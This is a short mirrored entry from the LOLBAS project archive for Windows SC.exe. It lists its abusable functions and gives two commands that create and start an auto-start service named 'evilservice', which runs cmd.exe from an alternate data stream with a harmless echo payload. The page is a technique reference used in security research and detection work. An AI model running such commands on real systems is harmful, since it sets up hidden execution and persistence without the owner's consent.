1
0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-01-18 09:33:27 +01:00
LOLBAS/Archive-Old-Version/OSBinaries/SC.exe.md

500 B

SC.exe

  • Functions: Execute, Read ADS, Create Service, Start Service

sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice